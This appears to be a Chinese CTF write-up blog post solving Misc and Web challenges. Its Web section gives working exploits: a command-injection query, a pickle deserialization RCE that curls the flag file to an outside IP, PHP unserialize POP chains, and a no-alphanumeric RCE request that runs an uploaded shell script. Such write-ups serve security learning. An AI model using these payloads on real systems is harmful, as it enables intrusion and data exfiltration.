本文最后更新于 349 天前,其中的信息可能已经有所发展或是发生改变。
Misc
Xcode v5.8
- XXencode 解码
(太贴心了,居然在hint里放了工具,建议所有比赛以此为参考)
Ez_Signin
- 文件结尾附加base64字符,解码得到:
What_iS_tHis_275626d657e6f556679666
- 将后半字符逆序再hex解码得到:
five number
- 好嘛,还得爆破,不如一开始就爆破
11452
- 得到大串base64,解码后为按键精灵,删除 Ctrl-Z的部分,画出flag;没有按键精灵就用python
NewGrating
- 前期冰蝎流量解码,aes cbc就能解
- password.png看着很有光栅画的感觉,但是光栅画实现的不同角度看出不同图片需要基于光栅材质的性质。
- 在电脑图片中没法实现,而实现方法只能是对图片进行分割并重排列,看图片可以明显的看出有五个一循环的特征,所以猜测可能需要隔五取一,可以先用ps邻近尝试一下,隔五取一,原图宽就是120
- 即可得到一张图,因此确定了就是将五张图按列进行了分割,然后将每张图第一列作为第一组,成为大图的第一到五列,由此写脚本提取五张图
from PIL import Image
img = Image.open('password.png')
width,height=img.size
pic = Image.new("RGB",(120,300))
for n in range(5):
for i in range(0,height):
for j in range(n,600,5):
tmp = img.getpixel((j,i))
pic.putpixel((j//5,i),tmp)
pic.save("{}.png".format(n))
- 其中第四章就是密码,解压7z就是flag
Web
baby md5
- 后来补了附件,简单题
//XFF头绕过isRequestFromLocal
/?key1=s1885207154a&key2=240610708&cmd=("\x73\x79\x73\x74\x65\x6d")("nl /f*");
- 乐,那些个不给附件就交flag的队伍也太心急了,装都不会装
babyWeb
- 直接看cookie,base64解码后明显是pickle序列化的数据,直接打个pickle反序列化rce即可
import pickle
import base64
class GetShellWithPython(object):
def __reduce__(self):
import subprocess
return (subprocess.call,
(['python',
'-c',
'import os;'
'os.system("curl http://10.50.109.9:4444?a=`cat /flag`");'],))
pickleData = pickle.dumps(GetShellWithPython())
print(base64.b64encode(pickleData))
easy serialize
- 常规php反序列化
<?php
//flag is in /flag.php
class baby{
public $var;
public $var2;
public $var3;
}
class young{
public $var;
}
class old{
public $var;
}
$b = new baby();
$y = new young();
$o = new old();
$b1 = new baby();
$o->var = $y;
$b->var2 = $o;
$b->var3 = "a";
$y->var = $b1;
$b1->var = "flag.php";
echo urlencode(serialize($b));
这逼出题人,会给提示就好好给,不会给提示就少说废话,//flag is in /flag.php 然后 flag.php 在同级目录,脑子多多少少是有问题
p2rce
- 感觉这个题难度分值给错了,应该是道中等偏困难的题,考点比较多
<?php
error_reporting(0);
class CCC {
public $c;
public $a;
public $b;
public function __destruct()
{
$this->a = 'flag';
if($this->a === $this->b) {
echo $this->c;
}
}
}
class AAA {
public $s;
public $a;
public function __toString()
{
$p = $this->a;
return $this->s->$p;
}
}
class BBB {
private $b;
public function __get($name)
{
if (is_string($this->b) && !preg_match("/[A-Za-z0-9_$]+/", $this->b)) {
global $flag;
$flag = $this->b;
return 'ok';
} else {
return '<br/>get it!!';
}
}
}
if(isset($_GET['ctf'])) {
if(preg_match('/flag/i', $_GET['ctf'])) {
die('nonono');
}
$a = unserialize($_GET['ctf']);
system($flag);
throw new Exception("goaway!!!");
} else {
highlight_file(__FILE__);
}
- 首先第一个点就是有
throw new Exception("goaway!!!");
这么一行,所以要要手动gc去主动触发反序列化,很多文章都有讲。然后__destruct
是起点,往后找链子就行,最后还要注意这里preg_match('/flag/i', $_GET['ctf'])
$this->a = 'flag';
if($this->a === $this->b) {
echo $this->c;
}
- 这里的绕过。这里使用引用就能绕了,即让变量
a
和变量b
指向同一地址空间即可
- 然后最后的最后,就是如何无数字无字母rce了,这里其实可以用php文件上传的临时文件处理。一般php处理文件上传都是先将文件放在临时目录
/tmp
下,文件名一般为/tmp/phpXXXXXX
(不管有没有处理文件上传的逻辑,只要给了文件就都会先存在这里)。然后就可以这里执行命令来运行我们上传的文件. /???/????????[@-[]
- 具体可以参考p神的这篇文章
<?php
class AAA {
public $s;
public $a;
}
class BBB {
private $b;
}
class CCC {
public $a;
public $c;
public $b;
}
$p = '. /???/????????[@-[]';
$a = new AAA($b, 'eval');
$c = new CCC($a);
$b = new BBB($p);
$a1 = array($c, null);
$s = serialize($a1);
$s = str_replace('1;N', '0;N', $s);
echo urlencode($s);
- 最后自己用burp手动多次发送这样的包就行了
POST /?ctf=a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22CCC%22%3A3%3A%7Bs%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22c%22%3BO%3A3%3A%22AAA%22%3A2%3A%7Bs%3A1%3A%22s%22%3BO%3A3%3A%22BBB%22%3A1%3A%7Bs%3A6%3A%22%00BBB%00b%22%3Bs%3A20%3A%22.+%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40-%5B%5D%22%3B%7Ds%3A1%3A%22a%22%3Bs%3A4%3A%22eval%22%3B%7Ds%3A1%3A%22b%22%3BR%3A3%3B%7Di%3A0%3BN%3B%7D HTTP/1.1
Host: localhost
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 155
Content-Type: multipart/form-data; boundary=c25447769cf9fc1afc13ede702b4279d
--c25447769cf9fc1afc13ede702b4279d
Content-Disposition: form-data; name="file"; filename="file"
#/bin/sh
cat /*
--c25447769cf9fc1afc13ede702b4279d--
乐,那些个不给附件就交flag的队伍也太心急了,装都不会装
真实,是哪家懂得都懂
我超,nepnep的大师傅